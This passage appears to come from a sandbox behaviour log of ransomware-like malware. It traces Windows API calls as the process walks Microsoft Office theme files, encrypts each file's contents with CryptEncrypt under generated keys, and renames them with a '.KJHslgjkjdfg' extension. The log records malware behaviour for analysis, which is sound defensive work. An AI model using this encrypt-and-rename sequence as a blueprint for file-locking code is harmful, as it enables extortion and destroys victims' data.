returned 1 [0220.004] GetProcessHeap () returned 0x990000 [0220.004] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0220.005] GetProcessHeap () returned 0x990000 [0220.005] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0220.005] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Elemental.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\elemental.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Elemental.thmx.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\elemental.thmx.kjhslgjkjdfg")) returned 1 [0220.007] CloseHandle (hObject=0x124) returned 1 [0220.007] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2d000, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5abff20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xac2d000, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x10f61, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Equity.thmx", cAlternateFileName="EQUITY~1.THM")) returned 1 [0220.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Equity.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\equity.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0220.009] GetProcessHeap () returned 0x990000 [0220.009] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0220.009] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0220.009] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df518 | out: lpNewFilePointer=0x0) returned 1 [0220.009] WriteFile (in: hFile=0x124, lpBuffer=0x29df528*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df528*, lpNumberOfBytesWritten=0x29df4f8*=0xf, lpOverlapped=0x0) returned 1 [0220.012] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0220.012] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0220.012] GetProcessHeap () returned 0x990000 [0220.012] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0220.012] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40) returned 1 [0220.013] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0220.013] WriteFile (in: hFile=0x124, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df4f8*=0x40, lpOverlapped=0x0) returned 1 [0220.013] WriteFile (in: hFile=0x124, lpBuffer=0x29df500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df500*, lpNumberOfBytesWritten=0x29df4f8*=0x4, lpOverlapped=0x0) returned 1 [0220.013] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f8*=0x10, lpOverlapped=0x0) returned 1 [0220.013] WriteFile (in: hFile=0x124, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df4f8*=0x80, lpOverlapped=0x0) returned 1 [0220.013] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0220.013] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f8*=0x8, lpOverlapped=0x0) returned 1 [0220.013] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0220.014] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0220.014] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.014] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x10f61, lpNumberOfBytesRead=0x29df504, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df504*=0x10f61, lpOverlapped=0x0) returned 1 [0220.016] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x10f70, dwBufLen=0x10f70 | out: pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x10f70) returned 1 [0220.016] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.017] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x10f70, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4f8*=0x10f70, lpOverlapped=0x0) returned 1 [0220.017] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0220.017] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x11044, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.017] SetEndOfFile (hFile=0x124) returned 1 [0220.020] GetProcessHeap () returned 0x990000 [0220.020] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0220.020] GetProcessHeap () returned 0x990000 [0220.020] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0220.021] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Equity.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\equity.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Equity.thmx.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\equity.thmx.kjhslgjkjdfg")) returned 1 [0220.022] CloseHandle (hObject=0x124) returned 1 [0220.023] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x478ec700, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5abff20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x478ec700, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xc278, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Essential.thmx", cAlternateFileName="ESSENT~1.THM")) returned 1 [0220.023] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Essential.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\essential.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0220.025] GetProcessHeap () returned 0x990000 [0220.025] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0220.025] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0220.025] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df518 | out: lpNewFilePointer=0x0) returned 1 [0220.025] WriteFile (in: hFile=0x124, lpBuffer=0x29df528*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df528*, lpNumberOfBytesWritten=0x29df4f8*=0x8, lpOverlapped=0x0) returned 1 [0220.028] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0220.028] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0220.028] GetProcessHeap () returned 0x990000 [0220.028] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0220.028] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40) returned 1 [0220.028] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0220.028] WriteFile (in: hFile=0x124, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df4f8*=0x40, lpOverlapped=0x0) returned 1 [0220.028] WriteFile (in: hFile=0x124, lpBuffer=0x29df500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df500*, lpNumberOfBytesWritten=0x29df4f8*=0x4, lpOverlapped=0x0) returned 1 [0220.028] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f8*=0x10, lpOverlapped=0x0) returned 1 [0220.028] WriteFile (in: hFile=0x124, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df4f8*=0x80, lpOverlapped=0x0) returned 1 [0220.028] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0220.028] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f8*=0x8, lpOverlapped=0x0) returned 1 [0220.029] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0220.029] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0220.029] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.029] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xc278, lpNumberOfBytesRead=0x29df504, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df504*=0xc278, lpOverlapped=0x0) returned 1 [0220.104] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0xc280, dwBufLen=0xc280 | out: pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0xc280) returned 1 [0220.105] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.105] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xc280, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4f8*=0xc280, lpOverlapped=0x0) returned 1 [0220.106] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0220.106] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xc354, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.106] SetEndOfFile (hFile=0x124) returned 1 [0220.109] GetProcessHeap () returned 0x990000 [0220.109] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0220.109] GetProcessHeap () returned 0x990000 [0220.109] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0220.110] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Essential.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\essential.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Essential.thmx.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\essential.thmx.kjhslgjkjdfg")) returned 1 [0220.112] CloseHandle (hObject=0x124) returned 1 [0220.112] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x773dcf00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5ae6080, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x773dcf00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xd748, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Executive.thmx", cAlternateFileName="EXECUT~1.THM")) returned 1 [0220.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Executive.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\executive.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0220.115] GetProcessHeap () returned 0x990000 [0220.115] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0220.115] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0220.115] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df518 | out: lpNewFilePointer=0x0) returned 1 [0220.115] WriteFile (in: hFile=0x124, lpBuffer=0x29df528*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df528*, lpNumberOfBytesWritten=0x29df4f8*=0x8, lpOverlapped=0x0) returned 1 [0220.130] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0220.130] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0220.130] GetProcessHeap () returned 0x990000 [0220.130] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0220.130] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40) returned 1 [0220.130] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0220.131] WriteFile (in: hFile=0x124, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df4f8*=0x40, lpOverlapped=0x0) returned 1 [0220.131] WriteFile (in: hFile=0x124, lpBuffer=0x29df500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df500*, lpNumberOfBytesWritten=0x29df4f8*=0x4, lpOverlapped=0x0) returned 1 [0220.133] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f8*=0x10, lpOverlapped=0x0) returned 1 [0220.133] WriteFile (in: hFile=0x124, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df4f8*=0x80, lpOverlapped=0x0) returned 1 [0220.133] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0220.133] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f8*=0x8, lpOverlapped=0x0) returned 1 [0220.134] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0220.134] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0220.134] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.134] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xd748, lpNumberOfBytesRead=0x29df504, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df504*=0xd748, lpOverlapped=0x0) returned 1 [0220.185] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0xd750, dwBufLen=0xd750 | out: pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0xd750) returned 1 [0220.186] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.186] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xd750, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4f8*=0xd750, lpOverlapped=0x0) returned 1 [0220.186] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0220.186] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xd824, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.186] SetEndOfFile (hFile=0x124) returned 1 [0220.188] GetProcessHeap () returned 0x990000 [0220.188] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0220.188] GetProcessHeap () returned 0x990000 [0220.188] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0220.188] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Executive.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\executive.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Executive.thmx.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\executive.thmx.kjhslgjkjdfg")) returned 1 [0220.190] CloseHandle (hObject=0x124) returned 1 [0220.190] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11e9de00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5ae6080, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x11e9de00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x100a8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Flow.thmx", cAlternateFileName="FLOW~1.THM")) returned 1 [0220.190] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Flow.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\flow.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0220.192] GetProcessHeap () returned 0x990000 [0220.192] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0220.192] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0220.192] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df518 | out: lpNewFilePointer=0x0) returned 1 [0220.192] WriteFile (in: hFile=0x124, lpBuffer=0x29df528*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df528*, lpNumberOfBytesWritten=0x29df4f8*=0x8, lpOverlapped=0x0) returned 1 [0220.196] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0220.196] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0220.196] GetProcessHeap () returned 0x990000 [0220.196] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0220.196] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29df4e0*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29df4e0*=0x30) returned 1 [0220.196] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0220.196] WriteFile (in: hFile=0x124, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29df4f8*=0x30, lpOverlapped=0x0) returned 1 [0220.196] WriteFile (in: hFile=0x124, lpBuffer=0x29df500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df500*, lpNumberOfBytesWritten=0x29df4f8*=0x4, lpOverlapped=0x0) returned 1 [0220.197] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f8*=0x10, lpOverlapped=0x0) returned 1 [0220.197] WriteFile (in: hFile=0x124, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df4f8*=0x80, lpOverlapped=0x0) returned 1 [0220.197] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0220.197] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f8*=0x8, lpOverlapped=0x0) returned 1 [0220.197] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0220.197] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0220.197] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.197] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x100a8, lpNumberOfBytesRead=0x29df504, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df504*=0x100a8, lpOverlapped=0x0) returned 1 [0220.199] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x100b0, dwBufLen=0x100b0 | out: pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x100b0) returned 1 [0220.200] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.200] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x100b0, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4f8*=0x100b0, lpOverlapped=0x0) returned 1 [0220.201] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0220.201] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x10174, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.201] SetEndOfFile (hFile=0x124) returned 1 [0220.204] GetProcessHeap () returned 0x990000 [0220.204] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0220.205] GetProcessHeap () returned 0x990000 [0220.205] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0220.205] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Flow.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\flow.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Flow.thmx.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\flow.thmx.kjhslgjkjdfg")) returned 1 [0220.206] CloseHandle (hObject=0x124) returned 1 [0220.207] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe565700, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b0c1e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe565700, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xf814, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Foundry.thmx", cAlternateFileName="FOUNDR~1.THM")) returned 1 [0220.207] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Foundry.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\foundry.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, 